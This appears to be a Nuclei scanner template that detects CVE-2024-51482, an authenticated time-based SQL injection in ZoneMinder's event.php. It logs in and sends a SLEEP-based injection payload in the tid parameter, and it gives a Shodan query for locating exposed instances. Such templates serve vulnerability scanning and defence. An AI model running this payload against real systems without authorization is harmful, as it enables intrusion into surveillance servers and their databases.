CVE-2024-51482: ZoneMinder v1.37.* <= 1.37.64 - SQL Injection

id: CVE-2024-51482

info:
  name: ZoneMinder v1.37.* <= 1.37.64 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    ZoneMinder is a free, open source closed-circuit television software application. ZoneMinder v1.37.* <= 1.37.64 is vulnerable to boolean-based SQL Injection in function of web/ajax/event.php. This is fixed in 1.37.65.
  impact: |
    Attackers can exploit this vulnerability to compromise system security and integrity.
  remediation: |
    Apply the latest security patches and updates to address this vulnerability.
  reference:
    - https://securityonline.info/zoneminders-cve-2024-51482-a-10-10-severity-vulnerability-exposes-sql-databases/
    - https://github-production-user-asset-6210df.s3.amazonaws.com/104687644/381894613-3cc50e51-68cf-4540-8225-4288f73e0c08.mp4?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAVCODYLSA53PQK4ZA%2F20241129%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20241129T074108Z&X-Amz-Expires=300&X-Amz-Signature=9cc5b01b0482cbd5573c223a1d44e9ffed10afd7d042d76e8308dfcf3bb7e8a5&X-Amz-SignedHeaders=host
    - https://nvd.nist.gov/vuln/detail/CVE-2024-51482
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2024-51482
    cwe-id: CWE-89
    epss-score: 0.50038
    epss-percentile: 0.97729
    cpe: cpe:2.3:a:zoneminder:zoneminder:*:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: zoneminder
    product: zoneminder
    shodan-query: title:"ZoneMinder"
  tags: cve,cve2024,zoneminder,sqli,authenticated,vuln

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    matchers:
      - type: word
        part: body
        words:
          - "ZoneMinder</a>"
          - "ZoneMinder Login</h1>"
          - "<title>ZoneMinder"
        condition: or
        internal: true

  - raw:
      - |
        POST /zm?view=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=login&postLoginQuery=&username={{username}}&password={{password}}

      - |
        GET /zm/index.php?view=request&request=event&action=removetag&tid=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "{\"result\":\"OK")'
        internal: true

  - raw:
      - |
        @timeout: 30s
        GET /zm/index.php?view=request&request=event&action=removetag&tid=1+AND+(SELECT+6435+FROM+(SELECT(SLEEP(7)))AbUy) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code == 200'
        condition: and
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